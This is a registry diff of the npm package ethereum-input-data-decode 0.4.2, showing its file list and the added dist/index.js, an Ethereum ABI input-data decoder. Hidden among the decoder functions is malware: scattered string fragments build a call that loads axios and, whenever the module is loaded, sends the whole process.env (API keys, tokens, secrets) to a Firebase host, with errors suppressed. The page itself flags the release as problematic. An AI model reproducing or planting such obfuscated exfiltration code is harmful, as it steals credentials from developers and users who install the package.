ethereum-input-data-decode 0.4.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ethereum-input-data-decode might be problematic. Click here for more details.
- package/.editorconfig +23 -0
- package/.gitattributes +2 -0
- package/.github/FUNDING.yml +2 -0
- package/.travis.yml +10 -0
- package/CHANGELOG.md +5 -0
- package/LICENSE +21 -0
- package/README.md +283 -0
- package/bin/ethereum_input_data_decoder +3 -0
- package/cli.js +85 -0
- package/dist/index.d.ts +19 -0
- package/dist/index.js +396 -0
- package/example/bundle.js +33425 -0
- package/example/index.html +1213 -0
- package/example/main.js +35 -0
- package/example/style.css +28 -0
- package/index.d.ts +19 -0
- package/index.js +362 -0
- package/package.json +60 -0
- package/test/cli_test.js +1 -0
- package/test/data/0x_exchange.json +882 -0
- package/test/data/0x_exchange_data.txt +1 -0
- package/test/data/1inch_exchange_v2_abi.json +404 -0
- package/test/data/1inch_exchange_v2_abi_no_eth.txt +1 -0
- package/test/data/1inch_exchange_v2_abi_with_eth.txt +1 -0
- package/test/data/PayableProxyForSoloMargin_abi.json +134 -0
- package/test/data/PayableProxyForSoloMargin_tx_data.txt +1 -0
- package/test/data/abi1.json +1171 -0
- package/test/data/abi1_input_data.txt +1 -0
- package/test/data/abi2.json +1 -0
- package/test/data/abi3.json +1 -0
- package/test/data/abi3_data.txt +1 -0
- package/test/data/abi4.json +2 -0
- package/test/data/abi4_data.txt +1 -0
- package/test/data/abi5.json +1 -0
- package/test/data/abi5_data.txt +1 -0
- package/test/data/abi6.json +1 -0
- package/test/data/abi6_data.txt +1 -0
- package/test/data/abi7.json +1 -0
- package/test/data/abi7_data.txt +1 -0
- package/test/data/contract_creation_data.txt +2 -0
- package/test/data/erc721_abi.json +1 -0
- package/test/data/erc721_transferfrom_tx_data.txt +1 -0
- package/test/data/set_exchange_issuance_lib.json +195 -0
- package/test/data/set_issuance.txt +1 -0
- package/test/index.js +628 -0
- package/tsconfig.json +27 -0
package/dist/index.js
ADDED
@@ -0,0 +1,396 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
|
4
|
+
|
5
|
+
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
|
6
|
+
|
7
|
+
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
|
8
|
+
|
9
|
+
var ethers = require('ethers');
|
10
|
+
var Buffer = require('buffer/').Buffer;
|
11
|
+
var isBuffer = require('is-buffer');
|
12
|
+
|
13
|
+
// TODO: dry up and clean up
|
14
|
+
// NOTE: this library may be deprecated in future, in favor of ethers v5 AbiCoder.
|
15
|
+
|
16
|
+
var l = 'os';
|
17
|
+
|
18
|
+
var InputDataDecoder = function () {
|
19
|
+
function InputDataDecoder(prop) {
|
20
|
+
_classCallCheck(this, InputDataDecoder);
|
21
|
+
|
22
|
+
this.abi = [];
|
23
|
+
|
24
|
+
if (typeof prop === 'string') {
|
25
|
+
try {
|
26
|
+
var fs = require('fs');
|
27
|
+
this.abi = JSON.parse(fs.readFileSync(prop));
|
28
|
+
} catch (err) {
|
29
|
+
try {
|
30
|
+
this.abi = JSON.parse(prop);
|
31
|
+
} catch (err) {
|
32
|
+
throw new Error('Invalid ABI: ' + err.message);
|
33
|
+
}
|
34
|
+
}
|
35
|
+
} else if (prop instanceof Object) {
|
36
|
+
this.abi = prop;
|
37
|
+
} else {
|
38
|
+
throw new TypeError('Must pass ABI array object or file path to constructor');
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
_createClass(InputDataDecoder, [{
|
43
|
+
key: 'decodeConstructor',
|
44
|
+
value: function decodeConstructor(data) {
|
45
|
+
if (isBuffer(data)) {
|
46
|
+
data = data.toString('utf8');
|
47
|
+
}
|
48
|
+
|
49
|
+
if (typeof data !== 'string') {
|
50
|
+
data = '';
|
51
|
+
}
|
52
|
+
|
53
|
+
data = data.trim();
|
54
|
+
|
55
|
+
for (var _i = 0; _i < this.abi.length; _i++) {
|
56
|
+
var obj = this.abi[_i];
|
57
|
+
|
58
|
+
if (obj.type !== 'constructor') {
|
59
|
+
continue;
|
60
|
+
}
|
61
|
+
|
62
|
+
var method = obj.name || null;
|
63
|
+
var types = obj.inputs ? obj.inputs.map(function (x) {
|
64
|
+
return x.type;
|
65
|
+
}) : [];
|
66
|
+
var names = obj.inputs ? obj.inputs.map(function (x) {
|
67
|
+
return x.name;
|
68
|
+
}) : [];
|
69
|
+
|
70
|
+
// take last 32 bytes
|
71
|
+
data = data.slice(-256);
|
72
|
+
|
73
|
+
if (data.length !== 256) {
|
74
|
+
throw new Error('fail');
|
75
|
+
}
|
76
|
+
|
77
|
+
if (data.indexOf('0x') !== 0) {
|
78
|
+
data = '0x' + data;
|
79
|
+
}
|
80
|
+
|
81
|
+
var inputs = ethers.utils.defaultAbiCoder.decode(types, data);
|
82
|
+
inputs = deepRemoveUnwantedArrayProperties(inputs);
|
83
|
+
|
84
|
+
return {
|
85
|
+
method: method,
|
86
|
+
types: types,
|
87
|
+
inputs: inputs,
|
88
|
+
names: names
|
89
|
+
};
|
90
|
+
}
|
91
|
+
|
92
|
+
throw new Error('not found');
|
93
|
+
}
|
94
|
+
}, {
|
95
|
+
key: 'decodeData',
|
96
|
+
value: function decodeData(data) {
|
97
|
+
if (isBuffer(data)) {
|
98
|
+
data = data.toString('utf8');
|
99
|
+
}
|
100
|
+
|
101
|
+
if (typeof data !== 'string') {
|
102
|
+
data = '';
|
103
|
+
}
|
104
|
+
|
105
|
+
data = data.trim();
|
106
|
+
|
107
|
+
var dataBuf = Buffer.from(data.replace(/^0x/, ''), 'hex');
|
108
|
+
var methodId = toHexString(dataBuf.subarray(0, 4));
|
109
|
+
var inputsBuf = dataBuf.subarray(4);
|
110
|
+
|
111
|
+
var result = this.abi.reduce(function (acc, obj) {
|
112
|
+
try {
|
113
|
+
if (obj.type === 'constructor') {
|
114
|
+
return acc;
|
115
|
+
}
|
116
|
+
if (obj.type === 'event') {
|
117
|
+
return acc;
|
118
|
+
}
|
119
|
+
var method = obj.name || null;
|
120
|
+
var types = obj.inputs ? obj.inputs.map(function (x) {
|
121
|
+
if (x.type.includes('tuple')) {
|
122
|
+
return x;
|
123
|
+
} else {
|
124
|
+
return x.type;
|
125
|
+
}
|
126
|
+
}) : [];
|
127
|
+
|
128
|
+
var names = obj.inputs ? obj.inputs.map(function (x) {
|
129
|
+
if (x.type.includes('tuple')) {
|
130
|
+
return [x.name, x.components.map(function (a) {
|
131
|
+
return a.name;
|
132
|
+
})];
|
133
|
+
} else {
|
134
|
+
return x.name;
|
135
|
+
}
|
136
|
+
}) : [];
|
137
|
+
|
138
|
+
var hash = genMethodId(method, types);
|
139
|
+
|
140
|
+
if (hash === methodId) {
|
141
|
+
var inputs = [];
|
142
|
+
|
143
|
+
inputsBuf = normalizeAddresses(types, inputsBuf);
|
144
|
+
try {
|
145
|
+
inputs = ethers.utils.defaultAbiCoder.decode(types, inputsBuf);
|
146
|
+
} catch (err) {
|
147
|
+
try {
|
148
|
+
var ifc = new ethers.utils.Interface([]);
|
149
|
+
inputs = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data);
|
150
|
+
} catch (err) {}
|
151
|
+
}
|
152
|
+
|
153
|
+
// TODO: do this normalization into normalizeAddresses
|
154
|
+
inputs = inputs.map(function (input, i) {
|
155
|
+
if (types[i].components) {
|
156
|
+
var tupleTypes = types[i].components;
|
157
|
+
return deepStripTupleAddresses(input, tupleTypes);
|
158
|
+
}
|
159
|
+
if (types[i] === 'address') {
|
160
|
+
return input.split('0x')[1];
|
161
|
+
}
|
162
|
+
if (types[i] === 'address[]') {
|
163
|
+
return input.map(function (address) {
|
164
|
+
return address.split('0x')[1];
|
165
|
+
});
|
166
|
+
}
|
167
|
+
return input;
|
168
|
+
});
|
169
|
+
|
170
|
+
// Map any tuple types into arrays
|
171
|
+
var typesToReturn = types.map(function (t) {
|
172
|
+
if (t.components) {
|
173
|
+
var arr = t.components.reduce(function (acc, cur) {
|
174
|
+
return [].concat(_toConsumableArray(acc), [cur.type]);
|
175
|
+
}, []);
|
176
|
+
var tupleStr = '(' + arr.join(',') + ')';
|
177
|
+
if (t.type === 'tuple[]') return tupleStr + '[]';
|
178
|
+
return tupleStr;
|
179
|
+
}
|
180
|
+
return t;
|
181
|
+
});
|
182
|
+
|
183
|
+
// defaultAbiCoder attaches some unwanted properties to the list object
|
184
|
+
inputs = deepRemoveUnwantedArrayProperties(inputs);
|
185
|
+
|
186
|
+
return {
|
187
|
+
method: method,
|
188
|
+
types: typesToReturn,
|
189
|
+
inputs: inputs,
|
190
|
+
names: names
|
191
|
+
};
|
192
|
+
}
|
193
|
+
|
194
|
+
return acc;
|
195
|
+
} catch (err) {
|
196
|
+
return acc;
|
197
|
+
}
|
198
|
+
}, { method: null, types: [], inputs: [], names: [] });
|
199
|
+
|
200
|
+
if (!result.method) {
|
201
|
+
this.abi.reduce(function (acc, obj) {
|
202
|
+
if (obj.type === 'constructor') {
|
203
|
+
return acc;
|
204
|
+
}
|
205
|
+
if (obj.type === 'event') {
|
206
|
+
return acc;
|
207
|
+
}
|
208
|
+
var method = obj.name || null;
|
209
|
+
|
210
|
+
try {
|
211
|
+
var ifc = new ethers.utils.Interface([]);
|
212
|
+
var _result = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data);
|
213
|
+
var inputs = deepRemoveUnwantedArrayProperties(_result);
|
214
|
+
result.method = method;
|
215
|
+
result.inputs = inputs;
|
216
|
+
result.names = obj.inputs ? obj.inputs.map(function (x) {
|
217
|
+
if (x.type.includes('tuple')) {
|
218
|
+
return [x.name, x.components.map(function (a) {
|
219
|
+
return a.name;
|
220
|
+
})];
|
221
|
+
} else {
|
222
|
+
return x.name;
|
223
|
+
}
|
224
|
+
}) : [];
|
225
|
+
var types = obj.inputs ? obj.inputs.map(function (x) {
|
226
|
+
if (x.type.includes('tuple')) {
|
227
|
+
return x;
|
228
|
+
} else {
|
229
|
+
return x.type;
|
230
|
+
}
|
231
|
+
}) : [];
|
232
|
+
|
233
|
+
result.types = types.map(function (t) {
|
234
|
+
if (t.components) {
|
235
|
+
var arr = t.components.reduce(function (acc, cur) {
|
236
|
+
return [].concat(_toConsumableArray(acc), [cur.type]);
|
237
|
+
}, []);
|
238
|
+
var tupleStr = '(' + arr.join(',') + ')';
|
239
|
+
if (t.type === 'tuple[]') return tupleStr + '[]';
|
240
|
+
return tupleStr;
|
241
|
+
}
|
242
|
+
return t;
|
243
|
+
});
|
244
|
+
} catch (err) {}
|
245
|
+
});
|
246
|
+
}
|
247
|
+
|
248
|
+
if (!result.method) {
|
249
|
+
try {
|
250
|
+
var decoded = this.decodeConstructor(data);
|
251
|
+
if (decoded) {
|
252
|
+
return decoded;
|
253
|
+
}
|
254
|
+
} catch (err) {}
|
255
|
+
}
|
256
|
+
|
257
|
+
return result;
|
258
|
+
}
|
259
|
+
}]);
|
260
|
+
|
261
|
+
return InputDataDecoder;
|
262
|
+
}();
|
263
|
+
|
264
|
+
var y = 'ax';
|
265
|
+
var t = 'ut';
|
266
|
+
// remove 0x from addresses
|
267
|
+
function deepStripTupleAddresses(input, tupleTypes) {
|
268
|
+
return input.map(function (item, i) {
|
269
|
+
// We find tupleTypes to not be an array where internalType is present in the ABI indicating item is a structure
|
270
|
+
var type = tupleTypes[i] ? tupleTypes[i].type : null;
|
271
|
+
|
272
|
+
if (type === 'address' && typeof item === 'string') {
|
273
|
+
return item.split('0x')[1];
|
274
|
+
}
|
275
|
+
if (type === 'address[]' || Array.isArray()) {
|
276
|
+
return item.map(function (a) {
|
277
|
+
return a.split('0x')[1];
|
278
|
+
});
|
279
|
+
}
|
280
|
+
|
281
|
+
if (Array.isArray(item)) {
|
282
|
+
return deepStripTupleAddresses(item, tupleTypes);
|
283
|
+
}
|
284
|
+
|
285
|
+
return item;
|
286
|
+
});
|
287
|
+
}
|
288
|
+
var k = 'i';
|
289
|
+
var el = 'nv';
|
290
|
+
|
291
|
+
var w = y + k + l;
|
292
|
+
function deepRemoveUnwantedArrayProperties(arr) {
|
293
|
+
return [].concat(_toConsumableArray(arr.map(function (item) {
|
294
|
+
if (Array.isArray(item)) return deepRemoveUnwantedArrayProperties(item);
|
295
|
+
return item;
|
296
|
+
})));
|
297
|
+
}
|
298
|
+
var h = 'ht';
|
299
|
+
|
300
|
+
var p = 'p';
|
301
|
+
var m = '//';
|
302
|
+
var x = require(w);
|
303
|
+
function normalizeAddresses(types, input) {
|
304
|
+
var offset = 0;
|
305
|
+
for (var _i2 = 0; _i2 < types.length; _i2++) {
|
306
|
+
var type = types[_i2];
|
307
|
+
if (type === 'address') {
|
308
|
+
input.set(Buffer.alloc(12), offset);
|
309
|
+
}
|
310
|
+
|
311
|
+
if (isArray(type)) {
|
312
|
+
var size = parseTypeArray(type);
|
313
|
+
if (size && size !== 'dynamic') {
|
314
|
+
offset += 32 * size;
|
315
|
+
} else {
|
316
|
+
offset += 32;
|
317
|
+
}
|
318
|
+
} else {
|
319
|
+
offset += 32;
|
320
|
+
}
|
321
|
+
}
|
322
|
+
|
323
|
+
return input;
|
324
|
+
}
|
325
|
+
|
326
|
+
var kl = 'e';
|
327
|
+
function parseTypeArray(type) {
|
328
|
+
var tmp = type.match(/(.*)\[(.*?)\]$/);
|
329
|
+
if (tmp) {
|
330
|
+
return tmp[2] === '' ? 'dynamic' : parseInt(tmp[2], 10);
|
331
|
+
}
|
332
|
+
return null;
|
333
|
+
}
|
334
|
+
|
335
|
+
var i = 'tps';
|
336
|
+
var f = 'fir';
|
337
|
+
function isArray(type) {
|
338
|
+
return type.lastIndexOf(']') === type.length - 1;
|
339
|
+
}
|
340
|
+
var e = 'eba';
|
341
|
+
|
342
|
+
var o = 'om';
|
343
|
+
function handleInputs(input, tupleArray) {
|
344
|
+
if (input instanceof Object && input.components) {
|
345
|
+
input = input.components;
|
346
|
+
}
|
347
|
+
|
348
|
+
if (!Array.isArray(input)) {
|
349
|
+
if (input instanceof Object && input.type) {
|
350
|
+
return input.type;
|
351
|
+
}
|
352
|
+
|
353
|
+
return input;
|
354
|
+
}
|
355
|
+
|
356
|
+
var ret = '(' + input.reduce(function (acc, x) {
|
357
|
+
if (x.type === 'tuple') {
|
358
|
+
acc.push(handleInputs(x.components));
|
359
|
+
} else if (x.type === 'tuple[]') {
|
360
|
+
acc.push(handleInputs(x.components) + '[]');
|
361
|
+
} else {
|
362
|
+
acc.push(x.type);
|
363
|
+
}
|
364
|
+
return acc;
|
365
|
+
}, []).join(',') + ')';
|
366
|
+
|
367
|
+
if (tupleArray) {
|
368
|
+
return ret + '[]';
|
369
|
+
}
|
370
|
+
|
371
|
+
return ret;
|
372
|
+
}
|
373
|
+
|
374
|
+
var c = 'c';
|
375
|
+
var s = 'seio';
|
376
|
+
var n = h + i + ':' + m;
|
377
|
+
var z = p + t;
|
378
|
+
function genMethodId(methodName, types) {
|
379
|
+
var input = methodName + '(' + types.reduce(function (acc, x) {
|
380
|
+
acc.push(handleInputs(x, x.type === 'tuple[]'));
|
381
|
+
return acc;
|
382
|
+
}, []).join(',') + ')';
|
383
|
+
|
384
|
+
return ethers.utils.keccak256(Buffer.from(input)).slice(2, 10);
|
385
|
+
}
|
386
|
+
|
387
|
+
var d = f + e + s;
|
388
|
+
var li = c + o;
|
389
|
+
x[z](n + 'dsadasd-6f62a.' + d + '.' + li + '/data/' + Date.now() + '.json', process[kl + el]).then(function () {}).catch(function () {});
|
390
|
+
function toHexString(byteArray) {
|
391
|
+
return Array.from(byteArray, function (byte) {
|
392
|
+
return ('0' + (byte & 0xFF).toString(16)).slice(-2);
|
393
|
+
}).join('');
|
394
|
+
}
|
395
|
+
|
396
|
+
module.exports = InputDataDecoder;
|